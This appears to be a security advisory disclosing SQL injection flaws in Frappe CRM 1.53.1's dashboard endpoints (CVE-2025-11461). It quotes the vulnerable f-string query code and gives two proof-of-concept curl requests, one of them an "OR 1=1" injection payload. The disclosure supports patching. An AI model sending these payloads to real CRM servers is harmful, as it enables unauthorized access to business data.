Frappe CRM 1.53.1 — Multiple SQL Injections in Dashboard Controller

Description

Multiple endpoints in Frappe CRM 1.53.1 are vulnerable to SQL injection due to unsafe concatenation of the user-controlled user parameter into dynamic SQL statements.

Vulnerability

Across crm/api/dashboard.py many helper functions construct SQL queries using a conds string that directly interpolates the user into an f-string without parameter binding or escaping:

conds = ""
if user:
    conds += f" AND d.deal_owner = '{user}'"  # for deal-based charts
...
result = frappe.db.sql(f"""... {conds} ...""", params, as_dict=True)

This pattern appears in numerous chart and dashboard query functions, including:

• get_total_leads

• get_ongoing_deals

• get_average_ongoing_deal_value

• get_won_deals

• get_average_won_deal_value

• get_average_deal_value

• get_average_time_to_close_a_lead

• get_average_time_to_close_a_deal

• get_sales_trend

• get_forecasted_revenue

• get_funnel_conversion

• get_deals_by_stage_*

• get_lost_deal_reasons

• get_leads_by_source

• get_deals_by_source

• get_deals_by_territory

• get_deals_by_salesperson

PoC

1. Error-based confirmation: Returns 500 with MariaDB syntax error referencing AND lead_owner = '' inside the rendered SQL.

   curl -sS -b c.txt -H 'Host: crm.localhost' \
     "http://<host>:<port>/api/method/crm.api.dashboard.get_chart?name=total_leads&type=number_chart&user=%27"

   
   

2. Logic manipulation:

   curl -sS -b c.txt -H 'Host: crm.localhost' \
     "http://<host>:<port>/api/method/crm.api.dashboard.get_chart?name=ongoing_deals&type=number_chart&user=a%27%20OR%201=1%20--%20"

Evidence of Exploitation

• crm.api. dashboard.get_chart endpoint:

  

• crm.api.dashboard.get_dashboard endpoint:

  

Our security policy

We have reserved the ID CVE-2025-11461 to refer to this issue from now on.

Disclosure policy

System Information

• Frappe CRM

• Version 1.53.1

• Operating System: Any

References

• Github Repository: https://github.com/frappe/crm

• Security: https://frappe.io/security

• Patch: https://github.com/frappe/crm/pull/1339

Mitigation

An updated version of Frappe CRM is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.